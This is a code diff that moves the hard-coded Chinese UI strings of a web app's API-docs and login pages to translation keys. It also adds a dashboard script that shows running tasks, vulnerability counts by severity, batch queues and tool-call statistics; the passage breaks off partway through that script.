@@ -389,12 +467,12 @@ function renderRequestBody(endpoint) {
     
     return `
         <div class="api-section">
-            <div class="api-section-title">请求体</div>
+            <div class="api-section-title">${escapeHtml(_t('apiDocs.sectionRequestBody'))}</div>
             ${endpoint.requestBody.description ? `<div class="api-description">${endpoint.requestBody.description}</div>` : ''}
             ${paramsTable}
             ${example ? `
                 <div style="margin-top: 16px;">
-                    <div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">示例JSON:</div>
+                    <div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(_t('apiDocs.exampleJson'))}</div>
                     <div class="api-response-example">
                         <pre>${escapeHtml(example)}</pre>
                     </div>
@@ -414,11 +492,11 @@ function renderResponses(endpoint) {
         if (schema.example) {
             example = JSON.stringify(schema.example, null, 2);
         }
-        
+        const descText = translateApiDocResponseDescFromResp(response);
         return `
             <div style="margin-bottom: 16px;">
                 <strong style="color: ${status.startsWith('2') ? 'var(--success-color)' : status.startsWith('4') ? 'var(--error-color)' : 'var(--warning-color)'}">${status}</strong>
-                ${response.description ? `<span style="color: var(--text-secondary); margin-left: 8px;">${response.description}</span>` : ''}
+                ${descText ? `<span style="color: var(--text-secondary); margin-left: 8px;">${escapeHtml(descText)}</span>` : ''}
                 ${example ? `
                     <div class="api-response-example" style="margin-top: 8px;">
                         <pre>${escapeHtml(example)}</pre>
@@ -432,7 +510,7 @@ function renderResponses(endpoint) {
     
     return `
         <div class="api-section">
-            <div class="api-section-title">响应</div>
+            <div class="api-section-title">${escapeHtml(_t('apiDocs.sectionResponse'))}</div>
             ${responseItems}
         </div>
     `;
@@ -462,8 +540,8 @@ function renderTestSection(endpoint) {
         const bodyInputId = `test-body-${escapeId(path)}-${method}`;
         bodyInput = `
             <div class="api-test-input-group">
-                <label>请求体 (JSON)</label>
-                <textarea id="${bodyInputId}" class="test-body-input" placeholder='请输入JSON格式的请求体'>${defaultBody}</textarea>
+                <label>${escapeHtml(_t('apiDocs.requestBodyJson'))}</label>
+                <textarea id="${bodyInputId}" class="test-body-input" placeholder='${escapeHtml(_t('apiDocs.requestBodyPlaceholder'))}'>${defaultBody}</textarea>
             </div>
         `;
     }
@@ -491,7 +569,7 @@ function renderTestSection(endpoint) {
             const inputId = `test-query-${param.name}-${escapeId(path)}-${method}`;
             const defaultValue = param.schema?.default !== undefined ? param.schema.default : '';
             const placeholder = param.description || param.name;
-            const required = param.required ? '<span style="color: var(--error-color);">*</span>' : '<span style="color: var(--text-muted);">可选</span>';
+            const required = param.required ? '<span style="color: var(--error-color);">*</span>' : '<span style="color: var(--text-muted);">' + escapeHtml(_t('apiDocs.optional')) + '</span>';
             return `
                 <div class="api-test-input-group">
                     <label>${param.name} ${required}</label>
@@ -505,33 +583,40 @@ function renderTestSection(endpoint) {
         }).join('');
     }
     
+    const testSectionTitle = escapeHtml(_t('apiDocs.testSection'));
+    const queryParamsTitle = escapeHtml(_t('apiDocs.queryParams'));
+    const sendRequestLabel = escapeHtml(_t('apiDocs.sendRequest'));
+    const copyCurlLabel = escapeHtml(_t('apiDocs.copyCurl'));
+    const clearResultLabel = escapeHtml(_t('apiDocs.clearResult'));
+    const copyCurlTitle = escapeHtml(_t('apiDocs.copyCurlTitle'));
+    const clearResultTitle = escapeHtml(_t('apiDocs.clearResultTitle'));
     return `
         <div class="api-test-section">
-            <div class="api-section-title">测试接口</div>
+            <div class="api-section-title">${testSectionTitle}</div>
             <div class="api-test-form">
                 ${pathParamsInput}
-                ${queryParamsInput ? `<div style="margin-top: 16px;"><div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">查询参数:</div>${queryParamsInput}</div>` : ''}
+                ${queryParamsInput ? `<div style="margin-top: 16px;"><div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${queryParamsTitle}</div>${queryParamsInput}</div>` : ''}
                 ${bodyInput}
                 <div class="api-test-buttons">
                     <button class="api-test-btn primary" onclick="testAPI('${method}', '${escapeHtml(path)}', '${endpoint.operationId || ''}')">
                         <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                             <polygon points="5 3 19 12 5 21 5 3"/>
                         </svg>
-                        发送请求
+                        ${sendRequestLabel}
                     </button>
-                    <button class="api-test-btn copy-curl" onclick="copyCurlCommand(event, '${method}', '${escapeHtml(path)}')" title="复制curl命令">
+                    <button class="api-test-btn copy-curl" onclick="copyCurlCommand(event, '${method}', '${escapeHtml(path)}')" title="${copyCurlTitle}">
                         <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                             <rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke="currentColor" stroke-width="2"/>
                             <path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1" stroke="currentColor" stroke-width="2"/>
                         </svg>
-                        复制curl
+                        ${copyCurlLabel}
                     </button>
-                    <button class="api-test-btn clear-result" onclick="clearTestResult('${escapeId(path)}-${method}')" title="清除测试结果">
+                    <button class="api-test-btn clear-result" onclick="clearTestResult('${escapeId(path)}-${method}')" title="${clearResultTitle}">
                         <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                             <polyline points="3 6 5 6 21 6"/>
                             <path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/>
                         </svg>
-                        清除结果
+                        ${clearResultLabel}
                     </button>
                 </div>
                 <div id="test-result-${escapeId(path)}-${method}" class="api-test-result" style="display: none;"></div>
@@ -548,7 +633,7 @@ async function testAPI(method, path, operationId) {
     
     resultDiv.style.display = 'block';
     resultDiv.className = 'api-test-result loading';
-    resultDiv.textContent = '发送请求中...';
+    resultDiv.textContent = _t('apiDocs.sendingRequest');
     
     try {
         // 替换路径参数
@@ -561,7 +646,7 @@ async function testAPI(method, path, operationId) {
             if (input && input.value) {
                 actualPath = actualPath.replace(param, encodeURIComponent(input.value));
             } else {
-                throw new Error(`路径参数 ${paramName} 不能为空`);
+                throw new Error(_t('apiDocs.errorPathParamRequired', { name: paramName }));
             }
         });
         
@@ -580,7 +665,7 @@ async function testAPI(method, path, operationId) {
                 if (input && input.value !== '' && input.value !== null && input.value !== undefined) {
                     queryParams.push(`${encodeURIComponent(param.name)}=${encodeURIComponent(input.value)}`);
                 } else if (param.required) {
-                    throw new Error(`查询参数 ${param.name} 不能为空`);
+                    throw new Error(_t('apiDocs.errorQueryParamRequired', { name: param.name }));
                 }
             });
         }
@@ -602,8 +687,7 @@ async function testAPI(method, path, operationId) {
         if (currentToken) {
             options.headers['Authorization'] = 'Bearer ' + currentToken;
         } else {
-            // 如果没有token，提示用户
-            throw new Error('未检测到 Token。请先在前端页面登录，然后刷新此页面。或者手动在请求头中添加 Authorization: Bearer your_token');
+            throw new Error(_t('apiDocs.errorTokenRequired'));
         }
         
         // 添加请求体
@@ -614,7 +698,7 @@ async function testAPI(method, path, operationId) {
                 try {
                     options.body = JSON.stringify(JSON.parse(bodyInput.value.trim()));
                 } catch (e) {
-                    throw new Error('请求体JSON格式错误: ' + e.message);
+                    throw new Error(_t('apiDocs.errorJsonInvalid') + e.message);
                 }
             }
         }
@@ -636,7 +720,7 @@ async function testAPI(method, path, operationId) {
         
     } catch (error) {
         resultDiv.className = 'api-test-result error';
-        resultDiv.textContent = '请求失败: ' + error.message;
+        resultDiv.textContent = _t('apiDocs.requestFailed') + error.message;
     }
 }
 
@@ -727,17 +811,17 @@ function copyCurlCommand(event, method, path) {
         // 复制到剪贴板
         const button = event ? event.target.closest('button') : null;
         navigator.clipboard.writeText(curlCommand).then(() => {
-            // 显示成功提示
             if (button) {
                 const originalText = button.innerHTML;
-                button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>已复制';
+                const copiedLabel = escapeHtml(_t('apiDocs.copied'));
+                button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>' + copiedLabel;
                 button.style.color = 'var(--success-color)';
                 setTimeout(() => {
                     button.innerHTML = originalText;
                     button.style.color = '';
                 }, 2000);
             } else {
-                alert('curl命令已复制到剪贴板！');
+                alert(_t('apiDocs.curlCopied'));
             }
         }).catch(err => {
             console.error('复制失败:', err);
@@ -752,24 +836,25 @@ function copyCurlCommand(event, method, path) {
                 document.execCommand('copy');
                 if (button) {
                     const originalText = button.innerHTML;
-                    button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>已复制';
+                    const copiedLabel = escapeHtml(_t('apiDocs.copied'));
+                    button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>' + copiedLabel;
                     button.style.color = 'var(--success-color)';
                     setTimeout(() => {
                         button.innerHTML = originalText;
                         button.style.color = '';
                     }, 2000);
                 } else {
-                    alert('curl命令已复制到剪贴板！');
+                    alert(_t('apiDocs.curlCopied'));
                 }
             } catch (e) {
-                alert('复制失败，请手动复制:\n\n' + curlCommand);
+                alert(_t('apiDocs.copyFailedManual') + curlCommand);
             }
             document.body.removeChild(textarea);
         });
         
     } catch (error) {
         console.error('生成curl命令失败:', error);
-        alert('生成curl命令失败: ' + error.message);
+        alert(_t('apiDocs.curlGenFailed') + error.message);
     }
 }
 
@@ -935,10 +1020,10 @@ function toggleDescription(button) {
     if (detail.style.display === 'none') {
         detail.style.display = 'block';
         icon.style.transform = 'rotate(180deg)';
-        span.textContent = '隐藏详细说明';
+        span.textContent = typeof window.t === 'function' ? window.t('apiDocs.hideDetailDesc') : '隐藏详细说明';
     } else {
         detail.style.display = 'none';
         icon.style.transform = 'rotate(0deg)';
-        span.textContent = '查看详细说明';
+        span.textContent = typeof window.t === 'function' ? window.t('apiDocs.viewDetailDesc') : '查看详细说明';
     }
 }

web/static/js/auth.js

@@ -123,12 +123,20 @@ async function ensureAuthenticated() {
     return true;
 }
 
-function handleUnauthorized({ message = '认证已过期，请重新登录', silent = false } = {}) {
+function handleUnauthorized({ message = null, silent = false } = {}) {
     clearAuthStorage();
     authPromise = null;
     authPromiseResolvers = [];
+    let finalMessage = message;
+    if (!finalMessage) {
+        if (typeof window !== 'undefined' && typeof window.t === 'function') {
+            finalMessage = window.t('auth.sessionExpired');
+        } else {
+            finalMessage = '认证已过期，请重新登录';
+        }
+    }
     if (!silent) {
-        showLoginOverlay(message);
+        showLoginOverlay(finalMessage);
     } else {
         showLoginOverlay();
     }
@@ -147,7 +155,10 @@ async function apiFetch(url, options = {}) {
     const response = await fetch(url, opts);
     if (response.status === 401) {
         handleUnauthorized();
-        throw new Error('未授权访问');
+        const msg = (typeof window !== 'undefined' && typeof window.t === 'function')
+            ? window.t('auth.unauthorized')
+            : '未授权访问';
+        throw new Error(msg);
     }
     return response;
 }
@@ -165,7 +176,10 @@ async function submitLogin(event) {
     const password = passwordInput.value.trim();
     if (!password) {
         if (errorBox) {
-            errorBox.textContent = '请输入密码';
+            const msgEmpty = (typeof window !== 'undefined' && typeof window.t === 'function')
+                ? window.t('auth.enterPassword')
+                : '请输入密码';
+            errorBox.textContent = msgEmpty;
             errorBox.style.display = 'block';
         }
         return;
@@ -186,7 +200,10 @@ async function submitLogin(event) {
         const result = await response.json().catch(() => ({}));
         if (!response.ok || !result.token) {
             if (errorBox) {
-                errorBox.textContent = result.error || '登录失败，请检查密码';
+                const fallback = (typeof window !== 'undefined' && typeof window.t === 'function')
+                    ? window.t('auth.loginFailedCheck')
+                    : '登录失败，请检查密码';
+                errorBox.textContent = result.error || fallback;
                 errorBox.style.display = 'block';
             }
             return;
@@ -203,7 +220,10 @@ async function submitLogin(event) {
     } catch (error) {
         console.error('登录失败:', error);
         if (errorBox) {
-            errorBox.textContent = '登录失败，请稍后重试';
+            const fallback = (typeof window !== 'undefined' && typeof window.t === 'function')
+                ? window.t('auth.loginFailedRetry')
+                : '登录失败，请稍后重试';
+            errorBox.textContent = fallback;
             errorBox.style.display = 'block';
         }
     } finally {
@@ -222,6 +242,14 @@ async function refreshAppData(showTaskErrors = false) {
 
 async function bootstrapApp() {
     if (!isAppInitialized) {
+        // 等待 i18n 首包加载完成后再插系统就绪消息，避免清除缓存后语言显示 English 气泡仍是中文
+        try {
+            if (window.i18nReady && typeof window.i18nReady.then === 'function') {
+                await window.i18nReady;
+            }
+        } catch (e) {
+            console.warn('等待 i18n 就绪失败，继续初始化聊天', e);
+        }
         initializeChatUI();
         isAppInitialized = true;
     }
@@ -230,13 +258,13 @@ async function bootstrapApp() {
 
 // 通用工具函数
 function getStatusText(status) {
-    const statusMap = {
-        'pending': '等待中',
-        'running': '执行中',
-        'completed': '已完成',
-        'failed': '失败'
-    };
-    return statusMap[status] || status;
+    if (typeof window.t !== 'function') {
+        const fallback = { pending: '等待中', running: '执行中', completed: '已完成', failed: '失败' };
+        return fallback[status] || status;
+    }
+    const keyMap = { pending: 'mcpDetailModal.statusPending', running: 'mcpDetailModal.statusRunning', completed: 'mcpDetailModal.statusCompleted', failed: 'mcpDetailModal.statusFailed' };
+    const key = keyMap[status];
+    return key ? window.t(key) : status;
 }
 
 function formatDuration(ms) {
@@ -375,7 +403,7 @@ async function logout() {
         // 无论如何都清除本地认证信息
         clearAuthStorage();
         hideLoginOverlay();
-        showLoginOverlay('已退出登录');
+        showLoginOverlay(typeof window.t === 'function' ? window.t('auth.loggedOut') : '已退出登录');
     }
 }
 

web/static/js/dashboard.js

@@ -0,0 +1,365 @@
+// 仪表盘页面：拉取运行中任务、漏洞统计、批量任务、工具与 Skills 统计并渲染
+
+async function refreshDashboard() {
+    const runningEl = document.getElementById('dashboard-running-tasks');
+    const vulnTotalEl = document.getElementById('dashboard-vuln-total');
+    const severityIds = ['critical', 'high', 'medium', 'low', 'info'];
+
+    if (runningEl) runningEl.textContent = '…';
+    if (vulnTotalEl) vulnTotalEl.textContent = '…';
+    severityIds.forEach(s => {
+        const el = document.getElementById('dashboard-severity-' + s);
+        if (el) el.textContent = '0';
+        const barEl = document.getElementById('dashboard-bar-' + s);
+        if (barEl) barEl.style.width = '0%';
+    });
+    setDashboardOverviewPlaceholder('…');
+    setEl('dashboard-kpi-tools-calls', '…');
+    setEl('dashboard-kpi-success-rate', '…');
+    var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
+    if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
+    var barChartEl = document.getElementById('dashboard-tools-bar-chart');
+    if (barChartEl) { barChartEl.style.display = 'none'; barChartEl.innerHTML = ''; }
+
+    if (typeof apiFetch === 'undefined') {
+        if (runningEl) runningEl.textContent = '-';
+        if (vulnTotalEl) vulnTotalEl.textContent = '-';
+        setDashboardOverviewPlaceholder('-');
+        return;
+    }
+
+    try {
+        const [tasksRes, vulnRes, batchRes, monitorRes, knowledgeRes, skillsRes] = await Promise.all([
+            apiFetch('/api/agent-loop/tasks').then(r => r.ok ? r.json() : null).catch(() => null),
+            apiFetch('/api/vulnerabilities/stats').then(r => r.ok ? r.json() : null).catch(() => null),
+            apiFetch('/api/batch-tasks?limit=500&page=1').then(r => r.ok ? r.json() : null).catch(() => null),
+            apiFetch('/api/monitor/stats').then(r => r.ok ? r.json() : null).catch(() => null),
+            apiFetch('/api/knowledge/stats').then(r => r.ok ? r.json() : null).catch(() => null),
+            apiFetch('/api/skills/stats').then(r => r.ok ? r.json() : null).catch(() => null)
+        ]);
+
+        // 运行中任务：Agent 循环任务 + 批量队列「执行中」数量统一统计，避免顶部 KPI 与运行概览不一致
+        let agentRunningCount = null;
+        if (tasksRes && Array.isArray(tasksRes.tasks)) {
+            agentRunningCount = tasksRes.tasks.length;
+        }
+        let batchRunningCount = 0;
+        if (batchRes && Array.isArray(batchRes.queues)) {
+            batchRes.queues.forEach(q => {
+                if ((q.status || '').toLowerCase() === 'running') batchRunningCount++;
+            });
+        }
+        if (runningEl) {
+            if (agentRunningCount !== null) {
+                runningEl.textContent = String(agentRunningCount + batchRunningCount);
+            } else if (batchRes && Array.isArray(batchRes.queues)) {
+                runningEl.textContent = String(batchRunningCount);
+            } else {
+                runningEl.textContent = '-';
+            }
+        }
+
+        if (vulnRes && typeof vulnRes.total === 'number') {
+            if (vulnTotalEl) vulnTotalEl.textContent = String(vulnRes.total);
+            const bySeverity = vulnRes.by_severity || {};
+            const total = vulnRes.total || 0;
+            severityIds.forEach(sev => {
+                const count = bySeverity[sev] || 0;
+                const el = document.getElementById('dashboard-severity-' + sev);
+                if (el) el.textContent = String(count);
+                const barEl = document.getElementById('dashboard-bar-' + sev);
+                if (barEl) barEl.style.width = total > 0 ? (count / total * 100) + '%' : '0%';
+            });
+        } else {
+            if (vulnTotalEl) vulnTotalEl.textContent = '-';
+            severityIds.forEach(sev => {
+                const barEl = document.getElementById('dashboard-bar-' + sev);
+                if (barEl) barEl.style.width = '0%';
+            });
+        }
+
+        // 批量任务队列：按状态统计（优化版；running 与上方 batchRunningCount 一致）
+        if (batchRes && Array.isArray(batchRes.queues)) {
+            const queues = batchRes.queues;
+            let pending = 0, running = batchRunningCount, done = 0;
+            queues.forEach(q => {
+                const s = (q.status || '').toLowerCase();
+                if (s === 'pending' || s === 'paused') pending++;
+                else if (s === 'running') { /* already counted into batchRunningCount */ }
+                else if (s === 'completed' || s === 'cancelled') done++;
+            });
+            const total = pending + running + done;
+            setEl('dashboard-batch-pending', String(pending));
+            setEl('dashboard-batch-running', String(running));
+            setEl('dashboard-batch-done', String(done));
+            setEl('dashboard-batch-total', total > 0 ? (typeof window.t === 'function' ? window.t('dashboard.totalCount', { count: total }) : `共 ${total} 个`) : (typeof window.t === 'function' ? window.t('dashboard.noTasks') : '暂无任务'));
+            
+            // 更新进度条
+            if (total > 0) {
+                const pendingPct = (pending / total * 100).toFixed(1);
+                const runningPct = (running / total * 100).toFixed(1);
+                const donePct = (done / total * 100).toFixed(1);
+                updateProgressBar('dashboard-batch-progress-pending', pendingPct);
+                updateProgressBar('dashboard-batch-progress-running', runningPct);
+                updateProgressBar('dashboard-batch-progress-done', donePct);
+            } else {
+                updateProgressBar('dashboard-batch-progress-pending', '0');
+                updateProgressBar('dashboard-batch-progress-running', '0');
+                updateProgressBar('dashboard-batch-progress-done', '0');
+            }
+        } else {
+            setEl('dashboard-batch-pending', '-');
+            setEl('dashboard-batch-running', '-');
+            setEl('dashboard-batch-done', '-');
+            setEl('dashboard-batch-total', '-');
+            updateProgressBar('dashboard-batch-progress-pending', '0');
+            updateProgressBar('dashboard-batch-progress-running', '0');
+            updateProgressBar('dashboard-batch-progress-done', '0');
+        }
+
+        // 工具调用：monitor/stats 为 { toolName: { totalCalls, successCalls, failedCalls, ... } }（优化版）
+        if (monitorRes && typeof monitorRes === 'object') {
+            const names = Object.keys(monitorRes);
+            let totalCalls = 0, totalSuccess = 0, totalFailed = 0;
+            names.forEach(k => {
+                const v = monitorRes[k];
+                const n = v && (v.totalCalls ?? v.TotalCalls);
+                if (typeof n === 'number') totalCalls += n;
+                const s = v && (v.successCalls ?? v.SuccessCalls);
+                if (typeof s === 'number') totalSuccess += s;
+                const f = v && (v.failedCalls ?? v.FailedCalls);
+                if (typeof f === 'number') totalFailed += f;
+            });
+            setEl('dashboard-tools-count', String(names.length));
+            setEl('dashboard-tools-calls', formatNumber(totalCalls));
+            setEl('dashboard-kpi-tools-calls', String(totalCalls));
+            var rateStr = totalCalls > 0 ? ((totalSuccess / totalCalls) * 100).toFixed(1) + '%' : '-';
+            setEl('dashboard-kpi-success-rate', rateStr);
+            setEl('dashboard-tools-success-rate', rateStr !== '-' ? `成功率 ${rateStr}` : '-');
+            renderDashboardToolsBar(monitorRes);
+        } else {
+            setEl('dashboard-tools-count', '-');
+            setEl('dashboard-tools-calls', '-');
+            setEl('dashboard-kpi-tools-calls', '-');
+            setEl('dashboard-kpi-success-rate', '-');
+            setEl('dashboard-tools-success-rate', '-');
+            renderDashboardToolsBar(null);
+        }
+
+        // 知识：{ enabled, total_categories, total_items, ... }（优化版）
+        const knowledgeItemsEl = document.getElementById('dashboard-knowledge-items');
+        const knowledgeCategoriesEl = document.getElementById('dashboard-knowledge-categories');
+        const knowledgeStatusEl = document.getElementById('dashboard-knowledge-status');
+        if (knowledgeRes && typeof knowledgeRes === 'object') {
+            if (knowledgeRes.enabled === false) {
+                // 功能未启用：用状态标签展示，数值保持为 "-"
+                if (knowledgeStatusEl) knowledgeStatusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.notEnabled') : '未启用');
+                if (knowledgeItemsEl) knowledgeItemsEl.textContent = '-';
+                if (knowledgeCategoriesEl) knowledgeCategoriesEl.textContent = '-';
+            } else {
+                const categories = knowledgeRes.total_categories ?? 0;
+                const items = knowledgeRes.total_items ?? 0;
+                if (knowledgeItemsEl) knowledgeItemsEl.textContent = formatNumber(items);
+                if (knowledgeCategoriesEl) knowledgeCategoriesEl.textContent = formatNumber(categories);
+                // 根据数据量给个轻量状态文案
+                if (knowledgeStatusEl) {
+                    if (items > 0 || categories > 0) {
+                        knowledgeStatusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.enabled') : '已启用');
+                    } else {
+                        knowledgeStatusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.toConfigure') : '待配置');
+                    }
+                }
+            }
+        } else {
+            if (knowledgeItemsEl) knowledgeItemsEl.textContent = '-';
+            if (knowledgeCategoriesEl) knowledgeCategoriesEl.textContent = '-';
+            if (knowledgeStatusEl) knowledgeStatusEl.textContent = '-';
+        }
+
+        // Skills：{ total_skills, total_calls, ... }（优化版）
+        if (skillsRes && typeof skillsRes === 'object') {
+            const totalSkills = skillsRes.total_skills ?? 0;
+            const totalCalls = skillsRes.total_calls ?? 0;
+            setEl('dashboard-skills-count', formatNumber(totalSkills));
+            setEl('dashboard-skills-calls', formatNumber(totalCalls));
+            
+            // 设置状态标签
+            const statusEl = document.getElementById('dashboard-skills-status');
+            if (statusEl) {
+                if (totalCalls === 0) {
+                    statusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.toUse') : '待使用');
+                    statusEl.style.background = 'rgba(0, 0, 0, 0.05)';
+                    statusEl.style.color = 'var(--text-secondary)';
+                } else if (totalCalls < 10) {
+                    statusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.active') : '活跃');
+                    statusEl.style.background = 'rgba(16, 185, 129, 0.1)';
+                    statusEl.style.color = '#10b981';
+                } else {
+                    statusEl.textContent = (typeof window.t === 'function' ? window.t('dashboard.highFreq') : '高频');
+                    statusEl.style.background = 'rgba(59, 130, 246, 0.1)';
+                    statusEl.style.color = '#3b82f6';
+                }
+            }
+        } else {
+            setEl('dashboard-skills-count', '-');
+            setEl('dashboard-skills-calls', '-');
+            const statusEl = document.getElementById('dashboard-skills-status');
+            if (statusEl) statusEl.textContent = '-';
+        }
+    } catch (e) {
+        console.warn('仪表盘拉取统计失败', e);
+        if (runningEl) runningEl.textContent = '-';
+        if (vulnTotalEl) vulnTotalEl.textContent = '-';
+        setDashboardOverviewPlaceholder('-');
+        setEl('dashboard-kpi-success-rate', '-');
+        setEl('dashboard-kpi-tools-calls', '-');
+        renderDashboardToolsBar(null);
+        var ph = document.getElementById('dashboard-tools-pie-placeholder');
+        if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
+    }
+}
+
+function setEl(id, text) {
+    const el = document.getElementById(id);
+    if (el) el.textContent = text;
+}
+
+function setDashboardOverviewPlaceholder(t) {
+    ['dashboard-batch-pending', 'dashboard-batch-running', 'dashboard-batch-done', 'dashboard-batch-total',
+     'dashboard-tools-count', 'dashboard-tools-calls', 'dashboard-tools-success-rate',
+     'dashboard-skills-count', 'dashboard-skills-calls', 'dashboard-skills-status',
+     'dashboard-knowledge-items', 'dashboard-knowledge-categories', 'dashboard-knowledge-status'].forEach(id => setEl(id, t));
+    updateProgressBar('dashboard-batch-progress-pending', '0');
+    updateProgressBar('dashboard-batch-progress-running', '0');
+    updateProgressBar('dashboard-batch-progress-done', '0');
+}
+
+// 格式化数字，添加千位分隔符
+function formatNumber(num) {
+    if (typeof num !== 'number' || isNaN(num)) return '-';
+    if (num === 0) return '0';
+    return num.toLocaleString('zh-CN');
+}
+
+// 更新进度条宽度
+function updateProgressBar(id, percentage) {
+    const el = document.getElementById(id);
+    if (el) {
+        const pct = parseFloat(percentage) || 0;
+        el.style.width = Math.max(0, Math.min(100, pct)) + '%';
+    }
+}
+
+// Top 30 工具执行次数柱状图颜色（30 色不重复，柔和、易区分）
+var DASHBOARD_BAR_COLORS = [
+    '#93c5fd', '#a78bfa', '#6ee7b7', '#fde047', '#fda4af',
+    '#7dd3fc', '#a5b4fc', '#5eead4', '#fdba74', '#e9d5ff',
+    '#67e8f9', '#c4b5fd', '#86efac', '#fcd34d', '#f9a8d4',
+    '#bae6fd', '#c7d2fe', '#99f6e4', '#fed7aa', '#ddd6fe',
+    '#22d3ee', '#8b5cf6', '#4ade80', '#fbbf24', '#fb7185',
+    '#38bdf8', '#818cf8', '#2dd4bf', '#fb923c', '#e0e7ff'
+];
+
+function esc(s) {
+    if (typeof s !== 'string') return '';
+    return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/"/g, '&quot;');
+}
+
+function renderDashboardToolsBar(monitorRes) {
+    const placeholder = document.getElementById('dashboard-tools-pie-placeholder');
+    const barChartEl = document.getElementById('dashboard-tools-bar-chart');
+    if (!placeholder || !barChartEl) return;
+
+    if (!monitorRes || typeof monitorRes !== 'object') {
+        placeholder.style.removeProperty('display');
+        placeholder.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据');
+        barChartEl.style.display = 'none';
+        barChartEl.innerHTML = '';
+        return;
+    }
+
+    const entries = Object.keys(monitorRes).map(function (k) {
+        const v = monitorRes[k];
+        const totalCalls = v && (v.totalCalls ?? v.TotalCalls);
+        return { name: k, totalCalls: typeof totalCalls === 'number' ? totalCalls : 0 };
+    }).filter(function (e) { return e.totalCalls > 0; })
+        .sort(function (a, b) { return b.totalCalls - a.totalCalls; })
+        .slice(0, 30);
+
+    if (entries.length === 0) {
+        placeholder.style.removeProperty('display');
+        placeholder.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据');
+        barChartEl.style.display = 'none';
+        barChartEl.innerHTML = '';
+        return;
+    }
+
+    placeholder.style.display = 'none';
+    barChartEl.style.display = 'block';
+
+    const maxCalls = Math.max.apply(null, entries.map(function (e) { return e.totalCalls; }));
+    var html = '';
+    entries.forEach(function (e, i) {
+        var pct = maxCalls > 0 ? (e.totalCalls / maxCalls) * 100 : 0;
+        var label = e.name.length > 12 ? e.name.slice(0, 10) + '…' : e.name;
+        var color = DASHBOARD_BAR_COLORS[i % DASHBOARD_BAR_COLORS.length];
+        var fullName = esc(e.name);
+        html += '<div class="dashboard-tools-bar-item" data-tooltip="' + fullName + '">';
+        html += '<span class="dashboard-tools-bar-label">' + esc(label) + '</span>';
+        html += '<div class="dashboard-tools-bar-track"><div class="dashboard-tools-bar-fill" style="width:' + pct + '%;background:' + color + '"></div></div>';
+        html += '<span class="dashboard-tools-bar-value">' + e.totalCalls + '</span>';
+        html += '</div>';
+    });
+    barChartEl.innerHTML = html;
+    attachDashboardBarTooltips(barChartEl);
+}
+
+var dashboardBarTooltipEl = null;
+var dashboardBarTooltipTimer = null;
+
+function attachDashboardBarTooltips(barChartEl) {
+    if (!barChartEl) return;
+    if (!dashboardBarTooltipEl) {
+        dashboardBarTooltipEl = document.createElement('div');
+        dashboardBarTooltipEl.className = 'dashboard-tools-bar-tooltip';
+        dashboardBarTooltipEl.setAttribute('role', 'tooltip');
+        document.body.appendChild(dashboardBarTooltipEl);
+    }
+    barChartEl.removeEventListener('mouseover', dashboardBarTooltipOnOver);
+    barChartEl.removeEventListener('mouseout', dashboardBarTooltipOnOut);
+    barChartEl.addEventListener('mouseover', dashboardBarTooltipOnOver);
+    barChartEl.addEventListener('mouseout', dashboardBarTooltipOnOut);
+}
+
+function dashboardBarTooltipOnOver(ev) {
+    var item = ev.target && ev.target.closest && ev.target.closest('.dashboard-tools-bar-item');
+    if (!item || !dashboardBarTooltipEl) return;
+    var text = item.getAttribute('data-tooltip');
+    if (!text) return;
+    clearTimeout(dashboardBarTooltipTimer);
+    dashboardBarTooltipTimer = setTimeout(function () {
+        dashboardBarTooltipEl.textContent = text;
+        dashboardBarTooltipEl.style.display = 'block';
+        requestAnimationFrame(function () {
+            var rect = item.getBoundingClientRect();
+            var ttRect = dashboardBarTooltipEl.getBoundingClientRect();
+            var x = rect.left + (rect.width / 2) - (ttRect.width / 2);
+            var y = rect.top - ttRect.height - 6;
+            if (y < 8) y = rect.bottom + 6;
+            var pad = 8;
+            if (x < pad) x = pad;
+            if (x + ttRect.width > window.innerWidth - pad) x = window.innerWidth - ttRect.width - pad;
+            dashboardBarTooltipEl.style.left = x + 'px';
+            dashboardBarTooltipEl.style.top = y + 'px';
+        });
+    }, 180);
+}
+
+function dashboardBarTooltipOnOut(ev) {
+    var item = ev.target && ev.target.closest && ev.target.closest('.dashboard-tools-bar-item');
+    var related = ev.relatedTarget && ev.relatedTarget.closest && ev.relatedTarget.closest('.dashboard-tools-bar-item');
+    if (item && item === related) return;
+    clearTimeout(dashboardBarTooltipTimer);
